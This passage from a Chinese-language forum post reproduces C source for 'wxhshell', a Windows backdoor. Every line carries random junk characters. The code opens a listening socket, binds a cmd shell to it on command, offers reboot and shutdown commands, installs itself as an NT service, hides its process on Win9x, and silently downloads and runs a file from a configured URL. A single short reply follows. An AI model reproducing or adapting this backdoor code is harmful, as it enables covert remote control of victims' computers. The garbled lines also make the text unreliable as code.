  } c,+(FQ9  
  else { 9<A\npD  
HcBH!0  
    switch(cmd[0]) { B!r48<p  
  pl#o!j(i  
  // 帮助 ^wO_b'@v  
  case '?': { PF'5z#] NP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1&% d  
    break; Y!a+#N!  
  } eY 4`k  
  // 安装 SfZ=%6b7  
  case 'i': { !HR2Rfl  
    if(Install()) 38U5^`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2u~c/JryN  
    else Xrj(,|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |.8d,!5w}  
    break; kg?T$}O  
    } 11B{gUv.]  
  // 卸载 ll(e,9.D  
  case 'r': {  mF*?e/  
    if(Uninstall()) /h7>Z9T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6t_ 3%{  
    else DYAwQ"i;6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uq|vNLW26  
    break; Lov.E3S6;  
    } 3%[)!zKv  
  // 显示 wxhshell 所在路径 P )t]bS  
  case 'p': { $&=4.7Yt  
    char svExeFile[MAX_PATH]; z^P* :  
    strcpy(svExeFile,"\n\r"); tIxhSI^  
      strcat(svExeFile,ExeFile);  \Z\IK  
        send(wsh,svExeFile,strlen(svExeFile),0); npO@Haw  
    break; i9&K  
    } Ho)t=qn  
  // 重启 &N/|(<CB  
  case 'b': { ~ ^rey  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'z +$3\5L  
    if(Boot(REBOOT)) d^Zo35X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >?>ubM`,  
    else { +Q SxYV  
    closesocket(wsh); 7cUR.PI#Q  
    ExitThread(0); %UUp=I  
    } s<Ex"+  
    break; ReI=4Jq11  
    } N?a1sdR  
  // 关机 *or2  
  case 'd': { NIGB[2V(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mh A~eJ  
    if(Boot(SHUTDOWN)) 'ZGT`'ri  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hF{x')(#l  
    else { d`?U!?Si  
    closesocket(wsh); YW?7*go'Z  
    ExitThread(0); {k_ PMl0G  
    } K2x6R  
    break; d,Cz-.'sOf  
    } 0a2$P+p  
  // 获取shell 7m|`tjQ1  
  case 's': { F@=e2e 4  
    CmdShell(wsh); }[>RxHd  
    closesocket(wsh); io9y; S"+  
    ExitThread(0); VM-qVd-  
    break; _=|nOj39  
  } s6uF5]M;2  
  // 退出 )|U_Z"0H^  
  case 'x': { c y=I0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7oZ@<QP'  
    CloseIt(wsh); Mvy6"Q:  
    break; LN@E\wRw{r  
    } aW0u8Dz  
  // 离开 RNv{n mf  
  case 'q': { t(J![wB}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0Y5LDP  
    closesocket(wsh); v%H"_T  
    WSACleanup(); Jh37pI  
    exit(1); mJ0}DJiX$  
    break; ZR!cQ oV=  
        } ruZYehu1W  
  } Y%78>-2 L  
  } V*6l6-y~Ih  
l;XU#6{  
  // 提示信息 $Cz1C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 42b.7E  
} &u+yM D  
  } 0M$#95n  
2wB.S_4"-<  
  return; RDUT3H6~  
} e1^fUOS  
E:08%4O  
// shell模块句柄 ?!bd!:(N  
int CmdShell(SOCKET sock) vC)"*wYB{  
{ X}zX`]:I'  
STARTUPINFO si; Pv< QjY  
ZeroMemory(&si,sizeof(si)); ;Ay >+M2O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~ A^E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G;2R]H#p  
PROCESS_INFORMATION ProcessInfo; -Nsk}Rnk*  
char cmdline[]="cmd"; mSU@UD|'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C-Nuy1o  
  return 0; SV$nyV  
} TRF]i/Bs  
fA"<MslKLK  
// 自身启动模式 -h>Z,-DE6  
int StartFromService(void) r0)JUc}Fyq  
{ ! G*&4V3Mg  
typedef struct 1S+;ZMk  
{ >F/XZ C  
  DWORD ExitStatus; f"vk# 3  
  DWORD PebBaseAddress; !cRfZ  
  DWORD AffinityMask; 8{R&EijC  
  DWORD BasePriority; ?TIV2m^?  
  ULONG UniqueProcessId; }TSgAwsbC  
  ULONG InheritedFromUniqueProcessId; MVeF e\r  
}   PROCESS_BASIC_INFORMATION; F(d:t!  
PXV)NC  
PROCNTQSIP NtQueryInformationProcess; mfZ)^X  
]kRI}Om2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j*tk(o}qG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6tOCZ'f  
Dq?E\  
  HANDLE             hProcess; fZ[kh{|  
  PROCESS_BASIC_INFORMATION pbi; y&1%1 #8F  
i][f#e4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F 4GP7]  
  if(NULL == hInst ) return 0; Dt W*n1Bt  
8jRs =I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /r276Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -7k[Vg?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DeH0k[o  
8h@q  
  if (!NtQueryInformationProcess) return 0; },rav]  
e,EK,,iY5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ffnk1/ Zy  
  if(!hProcess) return 0; Y!Drb-U?;  
o*X]b]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $50\" mo~z  
cC' ~  
  CloseHandle(hProcess); /dLA`=rZx  
$ K})Q3FNi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d]8_l1O  
if(hProcess==NULL) return 0; Q8;#_HE  
(/&;jV2DD[  
HMODULE hMod; Nu@5 kwH  
char procName[255]; G%S6$@:  
unsigned long cbNeeded; /?Vdqci  
_l<mu?"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cg,Ua!c  
@@Q6TB  
  CloseHandle(hProcess); [q1Unm  
}g>kpa0c  
if(strstr(procName,"services")) return 1; // 以服务启动 Y=E9zUF  
Rv,82iEKs  
  return 0; // 注册表启动 qYK4)JP  
} k=?^){[We  
Dzr e'  
// 主模块 :/6()_>bO  
int StartWxhshell(LPSTR lpCmdLine) E4r.ky`#~  
{ I FsE!oDs4  
  SOCKET wsl;  r@k"4ce-  
BOOL val=TRUE; H8&p<=  
  int port=0; A;,Dg=FL/  
  struct sockaddr_in door; L?8^aG  
j9:/RJS  
  if(wscfg.ws_autoins) Install(); qbb6,DL7J  
34z+INkX  
port=atoi(lpCmdLine); X]!D;7^  
P[FV2R~  
if(port<=0) port=wscfg.ws_port; jJia.#.Ze  
qz`rL#W]  
  WSADATA data; ZYa\"zp-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G=|70pxU  
Nt~x&s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^LVk5l)\>g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Umz05*  
  door.sin_family = AF_INET; y@3Q;~l,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ePEe?o4;  
  door.sin_port = htons(port); 9/@ &*  
paWxanSt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TGf;_)El  
closesocket(wsl); .xl.P7@JJ  
return 1; +Rqbf  
} T#@{G,N  
H@D;e  
  if(listen(wsl,2) == INVALID_SOCKET) { F.?01,J=1  
closesocket(wsl); b/u8} J  
return 1; Ns<?b;aK  
} q jz3<`7-  
  Wxhshell(wsl); hbI;Hd  
  WSACleanup(); (rcMA>2=  
#by Jqy&e  
return 0; uE`r/=4  
{q,?<zBzu  
} Qdu$Os  
|9IC/C!HC  
// 以NT服务方式启动 [jrqzB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T@P!L  
{ N*_"8LIfi_  
DWORD   status = 0; >b48>@~bY  
  DWORD   specificError = 0xfffffff; 8eJE>g1J  
,q#2:b<E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l^W uS|G[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^=+e?F`:{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YJ,*(A18  
  serviceStatus.dwWin32ExitCode     = 0; (.?ZKL  
  serviceStatus.dwServiceSpecificExitCode = 0; ^m%52Tm h  
  serviceStatus.dwCheckPoint       = 0; O~PChUU*Y  
  serviceStatus.dwWaitHint       = 0; :, _!pe;H  
&94W-zh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?3q@f\fZ  
  if (hServiceStatusHandle==0) return; _TUm$#@Y`  
g)R1ObpZ  
status = GetLastError(); }pawIf4V  
  if (status!=NO_ERROR) T SjI z5  
{ 3vW4<:Lgy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qTM%G-  
    serviceStatus.dwCheckPoint       = 0; X>zlb$  
    serviceStatus.dwWaitHint       = 0; H)>sTST(  
    serviceStatus.dwWin32ExitCode     = status; f%XJ;y\,9H  
    serviceStatus.dwServiceSpecificExitCode = specificError; W~ruN4q.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4h8*mMghs  
    return; bL`eiol6  
  } ? ?[g}>  
1nI^-aQ3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3^wC<ZXcD  
  serviceStatus.dwCheckPoint       = 0; BzN@gQo  
  serviceStatus.dwWaitHint       = 0; |^( M{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,T|x)"uA`  
} U~H?4Izl=  
cWa)#:JOV  
// 处理NT服务事件,比如:启动、停止 U>F{?PReA?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cyQBqG  
{ =a$Oecg?  
switch(fdwControl) }k7'"`#?"  
{ ->gZ)?Fqy  
case SERVICE_CONTROL_STOP: KX4],B5 +  
  serviceStatus.dwWin32ExitCode = 0; 5iM[sg[y9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3t" 4TjAy  
  serviceStatus.dwCheckPoint   = 0; 6 BAW  
  serviceStatus.dwWaitHint     = 0; pC(sS0J  
  { ;ME)Og  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~OypE4./1  
  } >jTp6tu,  
  return; <9eu1^g  
case SERVICE_CONTROL_PAUSE: RMP9y$~3pU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (9C<K<  
  break; Kat&U19YH  
case SERVICE_CONTROL_CONTINUE: 7L3ik;>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;Ii1B{W  
  break; _#C()Ro*P  
case SERVICE_CONTROL_INTERROGATE: 314=1JbL  
  break; KzO,*M  
}; j0mM>X HB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p|[B =.c{  
} Q(Gl{#b  
v }\,o%t^  
// 标准应用程序主函数 *%gF2@=r8F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x#H 3=YD*  
{ ;\{`Ci\  
f_=~H<j!  
// 获取操作系统版本 ,S&z<S_  
OsIsNt=GetOsVer(); k'3Wt*i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6.c^u5;  
Z?G&.# :  
  // 从命令行安装 Vba.uKNjk  
  if(strpbrk(lpCmdLine,"iI")) Install(); (zcLx;N  
M(Zc^P}N  
  // 下载执行文件 I#rubAl  
if(wscfg.ws_downexe) { $}o b,i^W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tTanW2C  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'LSz f/w  
} bt/ =Kq#  
y2|R.EU\m<  
if(!OsIsNt) { p $`92Be/  
// 如果时win9x,隐藏进程并且设置为注册表启动 rcN 9.1  
HideProc(); (u1m]WYL  
StartWxhshell(lpCmdLine); ~nY]o"8D  
} }q[Bd  
else bPbb\|u0d  
  if(StartFromService()) '{b1!nC;  
  // 以服务方式启动 s60 TxB  
  StartServiceCtrlDispatcher(DispatchTable); L{fFC%|l2L  
else q_[G1&MC  
  // 普通方式启动 I5ZqBB  
  StartWxhshell(lpCmdLine); |> enp>  
9KuD(EJS  
return 0; quxdG>8  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五